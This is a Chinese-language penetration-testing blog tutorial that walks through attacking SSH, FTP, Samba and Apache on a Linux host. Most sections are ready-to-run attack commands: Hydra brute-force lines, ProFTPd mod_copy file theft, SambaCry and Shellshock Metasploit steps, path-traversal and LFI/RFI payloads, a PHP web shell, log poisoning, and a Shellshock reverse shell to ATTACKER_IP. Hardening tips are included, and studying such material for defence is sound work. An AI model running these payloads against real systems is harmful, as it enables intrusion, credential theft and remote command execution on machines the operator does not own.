Linux 服务漏洞利用 — SSH、FTP、Samba、Apache 攻击面

Linux 服务漏洞利用 — SSH、FTP、Samba、Apache 攻击面

渗透测试
Linux漏洞利用服务攻击

LinuxSSHFTP访SambaApache

在渗透测试过程中,信息收集阶段发现的开放端口和服务就是我们的"入口"。Linux 服务器上常见的 SSH、FTP、Samba、Apache 等服务,如果配置不当或存在已知漏洞,往往会成为攻击者突破防线的突破口。本文将针对这四类常见服务,详细讲解每种服务的攻击面、漏洞利用方式和实战操作步骤,同时给出对应的加固建议,帮助你全面理解服务层面的安全风险。

前置准备

在开始漏洞利用之前,假设我们已经通过 Nmap 完成了目标的信息收集:

Bash
# 全面扫描目标主机sudo nmap -sS -sV -sC -O -p- -T4 192.168.1.100 # 假设扫描结果如下:# PORT     STATE  SERVICE     VERSION# 22/tcp   open   ssh         OpenSSH 7.2p2# 21/tcp   open   ftp         ProFTPd 1.3.5# 139/tcp  open   netbios-ssn Samba 4.3.11# 445/tcp  open   microsoft-ds Samba 4.3.11# 80/tcp   open   http        Apache httpd 2.4.18

接下来,我们逐一对每个服务进行渗透测试。

SSH 攻击面(端口 22)

SSH(Secure Shell)是 Linux 系统远程管理的核心服务。虽然 SSH 本身使用加密通信,但仍然存在多种攻击路径。

1. SSH 暴力破解

最常见的 SSH 攻击方式就是密码暴力破解,使用 Hydra 是最高效的选择。

Bash
# 使用 Hydra 对 SSH 进行暴力破解# -l 指定用户名,-P 指定密码字典hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 # 使用用户名列表hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 # 限制线程数和等待时间(避免被封IP)hydra -l admin -P passwords.txt -t 4 -W 5 ssh://192.168.1.100 # 指定端口(非标准端口)hydra -l root -P passwords.txt -s 2222 ssh://192.168.1.100 # 使用 Medusa 作为替代工具medusa -h 192.168.1.100 -u root -P /usr/share/wordlists/rockyou.txt -M ssh # 使用 Ncrackncrack -p 22 --user root -P passwords.txt 192.168.1.100

2. SSH 密钥泄露利用

如果目标系统的私钥文件因为不当配置而暴露(例如通过 Web 目录或备份文件),可以直接利用。

Bash
# 在 Web 服务器或 FTP 中发现泄露的私钥curl http://192.168.1.100/.ssh/id_rsa -o stolen_key # 修改私钥文件权限(SSH 要求 600 权限)chmod 600 stolen_key # 使用私钥登录ssh -i stolen_key user@192.168.1.100 # 如果私钥有密码保护,使用 John 破解ssh2john stolen_key > key_hash.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt key_hash.txt # 使用破解出的密码登录ssh -i stolen_key user@192.168.1.100

3. SSH 版本漏洞

某些旧版本的 OpenSSH 存在已知漏洞:

Bash
# 确认 SSH 版本nmap -sV -p 22 192.168.1.100ssh -V  # 查看本地版本 # 在 Exploit-DB 中搜索对应版本的漏洞searchsploit openssh 7.2 # OpenSSH 7.2p2 - 用户名枚举漏洞 (CVE-2016-6210)# 可以判断用户名是否存在searchsploit -m 40136python3 40136.py 192.168.1.100 rootpython3 40136.py 192.168.1.100 admin # 使用 Nmap NSE 脚本检测 SSH 漏洞nmap --script ssh-auth-methods -p 22 192.168.1.100nmap --script ssh-brute -p 22 192.168.1.100

SSH 加固建议

Bash
# /etc/ssh/sshd_config 关键配置PermitRootLogin no                    # 禁止 root 远程登录PasswordAuthentication no             # 禁用密码认证,仅允许密钥MaxAuthTries 3                        # 最大认证尝试次数LoginGraceTime 30                     # 登录超时时间AllowUsers specific_user              # 仅允许特定用户Port 2222                             # 修改默认端口Protocol 2                            # 仅使用 SSH v2 # 安装 Fail2ban 防暴力破解sudo apt install fail2bansudo systemctl enable fail2ban

FTP 攻击面(端口 21)

FTP 协议本身是明文传输的,存在大量安全隐患。

1. FTP 匿名登录

许多 FTP 服务默认允许匿名登录,可能泄露敏感文件。

Bash
# 检查是否允许匿名登录ftp 192.168.1.100# 输入用户名: anonymous# 输入密码: (空或任意邮箱) # 使用 Nmap 检测匿名登录nmap --script ftp-anon -p 21 192.168.1.100 # 匿名登录后的操作ftp> ls -la                    # 列出所有文件ftp> cd /                      # 切换到根目录ftp> get important_file.txt    # 下载文件ftp> mget *.conf               # 批量下载配置文件ftp> put shell.php             # 上传文件(如果有写权限) # 使用 wget 递归下载 FTP 内容wget -r ftp://anonymous:@192.168.1.100/ # 使用 lftp 进行更灵活的操作lftp anonymous@192.168.1.100lftp> mirror --verbose /        # 镜像下载整个FTP

2. FTP 暴力破解

Bash
# Hydra 暴力破解 FTPhydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.100 # 指定用户名列表hydra -L users.txt -P passwords.txt ftp://192.168.1.100 # 使用 Nmap 脚本暴力破解nmap --script ftp-brute -p 21 192.168.1.100

3. ProFTPd 漏洞利用

ProFTPd 历史上存在多个严重漏洞:

Bash
# 确认 ProFTPd 版本nmap -sV -p 21 192.168.1.100 # 搜索 ProFTPd 漏洞searchsploit proftpd # ProFTPd 1.3.5 - Mod_Copy 远程命令执行# 利用 SITE CPFR/CPTO 命令复制文件# 将 /etc/passwd 复制到 Web 目录nc 192.168.1.100 21SITE CPFR /etc/passwdSITE CPTO /var/www/html/passwd.txt # 然后通过 Web 访问curl http://192.168.1.100/passwd.txt # 更危险:复制 SSH 私钥到 Web 目录nc 192.168.1.100 21SITE CPFR /home/user/.ssh/id_rsaSITE CPTO /var/www/html/id_rsa # 使用 Metasploit 利用 ProFTPd 漏洞msfconsolemsf6 > use exploit/unix/ftp/proftpd_modcopy_execmsf6 exploit(proftpd_modcopy_exec) > set RHOSTS 192.168.1.100msf6 exploit(proftpd_modcopy_exec) > exploit

FTP 加固建议

  • 如非必要,禁用 FTP 服务,改用 SFTP
  • 禁用匿名登录:anonymous_enable=NO
  • 启用 TLS 加密:配置 vsftpd 的 ssl_enable=YES
  • 限制用户目录:chroot_local_user=YES
  • 监控 FTP 日志:/var/log/vsftpd.log

Samba 攻击面(端口 139/445)

Samba 为 Linux 提供 Windows 文件共享服务,是内网渗透中的重要攻击面。

1. Samba 信息枚举

Bash
# 使用 enum4linux 进行全面枚举enum4linux -a 192.168.1.100 # 枚举共享资源smbclient -L //192.168.1.100 -N     # -N 表示无密码 # 使用 Nmap 脚本枚举nmap --script smb-enum-shares -p 445 192.168.1.100nmap --script smb-enum-users -p 445 192.168.1.100nmap --script smb-os-discovery -p 445 192.168.1.100 # 使用 smbmap 查看共享权限smbmap -H 192.168.1.100smbmap -H 192.168.1.100 -u '' -p ''   # 空会话 # CrackMapExec 枚举(推荐)crackmapexec smb 192.168.1.100 --sharescrackmapexec smb 192.168.1.100 --userscrackmapexec smb 192.168.1.100 --pass-pol

2. Samba 空会话与共享访问

Bash
# 空会话连接共享smbclient //192.168.1.100/share -N # 使用凭据连接smbclient //192.168.1.100/share -U username%password # 共享操作命令smb: \> ls                         # 列出文件smb: \> cd directory               # 切换目录smb: \> get secret.txt             # 下载文件smb: \> put backdoor.exe           # 上传文件smb: \> recurse ON                 # 启用递归smb: \> prompt OFF                 # 关闭确认提示smb: \> mget *                     # 下载所有文件 # 使用 mount 挂载共享(方便批量操作)sudo mount -t cifs //192.168.1.100/share /mnt/smb -o username=guest,password=ls -la /mnt/smb/

3. Samba 漏洞利用

Bash
# 使用 Nmap 检测 SMB 漏洞nmap --script smb-vuln* -p 445 192.168.1.100 # SambaCry (CVE-2017-7494) — 类似 EternalBlue 的 Linux 版本# 影响 Samba 3.5.0 - 4.6.4searchsploit samba 4.5 # Metasploit 利用 SambaCrymsfconsolemsf6 > use exploit/linux/samba/is_known_pipenamemsf6 exploit(is_known_pipename) > set RHOSTS 192.168.1.100msf6 exploit(is_known_pipename) > set SMB_SHARE_NAME share_namemsf6 exploit(is_known_pipename) > exploit # Samba 暴力破解hydra -l admin -P /usr/share/wordlists/rockyou.txt smb://192.168.1.100crackmapexec smb 192.168.1.100 -u admin -p /usr/share/wordlists/rockyou.txt

Samba 加固建议

  • 禁用 SMBv1:在配置文件中添加 min protocol = SMB2
  • 限制共享访问:设置 valid usershosts allow
  • 禁用空会话:restrict anonymous = 2
  • 及时更新 Samba 版本,修补已知漏洞
  • 使用防火墙限制 139/445 端口仅对内网开放

Apache 攻击面(端口 80/443)

Apache 是最流行的 Web 服务器,其配置错误和关联组件漏洞是常见的攻击入口。

1. 信息收集与指纹识别

Bash
# 获取 Apache 版本和模块信息curl -I http://192.168.1.100nmap -sV -p 80 192.168.1.100 # 使用 Nikto 扫描 Web 漏洞nikto -h http://192.168.1.100 # 使用 WhatWeb 识别技术栈whatweb http://192.168.1.100 # 检测 WAFwafw00f http://192.168.1.100 # 目录枚举gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html,txtdirsearch -u http://192.168.1.100 -e php,html

2. 目录遍历漏洞

Apache 配置不当可能允许目录遍历,读取服务器上的任意文件。

Bash
# 基本目录遍历测试curl http://192.168.1.100/../../../../etc/passwdcurl http://192.168.1.100/..%2f..%2f..%2f..%2fetc/passwd # URL 编码绕过curl "http://192.168.1.100/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" # 双重编码绕过curl "http://192.168.1.100/%252e%252e/%252e%252e/etc/passwd" # 空字节绕过(旧版本PHP)curl "http://192.168.1.100/page.php?file=../../../../etc/passwd%00" # Apache 2.4.49/2.4.50 路径穿越漏洞 (CVE-2021-41773 / CVE-2021-42013)curl "http://192.168.1.100/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" # 利用该漏洞执行命令(需要 mod_cgi 启用)curl "http://192.168.1.100/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \  -d "echo; id; whoami; cat /etc/passwd"

3. 文件包含漏洞(LFI/RFI)

Bash
# 本地文件包含 (LFI)curl "http://192.168.1.100/page.php?file=/etc/passwd"curl "http://192.168.1.100/page.php?file=../../../etc/passwd" # 读取 Apache 配置和日志curl "http://192.168.1.100/page.php?file=/etc/apache2/apache2.conf"curl "http://192.168.1.100/page.php?file=/var/log/apache2/access.log" # PHP 伪协议利用# 读取 PHP 源码(Base64编码)curl "http://192.168.1.100/page.php?file=php://filter/convert.base64-encode/resource=config.php" # 远程文件包含 (RFI) — 需要 allow_url_include=On# 在攻击机上准备恶意脚本echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php# 利用 RFIcurl "http://192.168.1.100/page.php?file=http://ATTACKER_IP/shell.php&cmd=id" # 日志投毒 (Log Poisoning) + LFI = RCE# 1. 将 PHP 代码注入 User-Agentcurl -A "<?php system(\$_GET['cmd']); ?>" http://192.168.1.100/# 2. 通过 LFI 读取日志执行代码curl "http://192.168.1.100/page.php?file=/var/log/apache2/access.log&cmd=id"

4. CGI 漏洞 — Shellshock (CVE-2014-6271)

Shellshock 是 Bash 的一个严重漏洞,通过 Apache CGI 模块可以被远程利用。

Bash
# 使用 Nmap 检测 Shellshocknmap --script http-shellshock --script-args uri=/cgi-bin/test.cgi -p 80 192.168.1.100 # 手动利用 Shellshockcurl -H "User-Agent: () { :; }; echo; /bin/cat /etc/passwd" \  http://192.168.1.100/cgi-bin/test.cgi # 反弹 Shell 利用curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" \  http://192.168.1.100/cgi-bin/test.cgi # 攻击机监听nc -lvnp 4444 # Metasploit 利用 Shellshockmsfconsolemsf6 > use exploit/multi/http/apache_mod_cgi_bash_env_execmsf6 exploit(apache_mod_cgi_bash_env_exec) > set RHOSTS 192.168.1.100msf6 exploit(apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/test.cgimsf6 exploit(apache_mod_cgi_bash_env_exec) > exploit

Apache 加固建议

Bash
# /etc/apache2/apache2.conf 或 httpd.conf # 隐藏版本信息ServerTokens ProdServerSignature Off # 禁用目录浏览<Directory /var/www/html>    Options -Indexes</Directory> # 限制 HTTP 方法<LimitExcept GET POST>    deny from all</LimitExcept> # 禁用不必要的模块sudo a2dismod cgisudo a2dismod autoindex # 配置安全 HeadersHeader always set X-Content-Type-Options "nosniff"Header always set X-Frame-Options "SAMEORIGIN"Header always set X-XSS-Protection "1; mode=block" # 启用 ModSecurity WAFsudo apt install libapache2-mod-security2sudo a2enmod security2 # 重启 Apachesudo systemctl restart apache2

渗透测试完整流程示例

将以上知识串联起来,一次完整的服务漏洞利用流程大致如下:

Bash
# 1. 端口扫描与服务识别sudo nmap -sS -sV -sC -p- -T4 -oA target_scan 192.168.1.100 # 2. 针对发现的服务进行枚举# FTP 匿名登录检查nmap --script ftp-anon -p 21 192.168.1.100 # Samba 共享枚举enum4linux -a 192.168.1.100 # Web 目录扫描gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt # 3. 漏洞检测nmap --script vuln 192.168.1.100nikto -h http://192.168.1.100 # 4. 漏洞利用(根据发现的漏洞选择对应手段) # 5. 获取初始访问权限后进行后续渗透

总结

本文详细讲解了 Linux 环境中 SSH、FTP、Samba、Apache 四大核心服务的攻击面。从暴力破解到版本漏洞,从匿名访问到远程命令执行,每个服务都存在多种攻击路径。在渗透测试中,我们需要对目标主机上运行的每个服务都进行系统化的安全评估,不放过任何细节。同时,作为防守方,理解这些攻击手段能够帮助我们更好地加固系统、制定安全策略。下一篇文章我们将进入提权阶段——当你获取了一个低权限 Shell 后,如何一步步提升到 root 权限。

Linux 服务漏洞利用 — SSH、FTP、Samba、Apache 攻击面

https://cot.wiki/blog/linux-service-exploitation

作者Perimsx
发布时间
更新时间
许可协议CC BY-NC-SA 4.0
评论功能集成中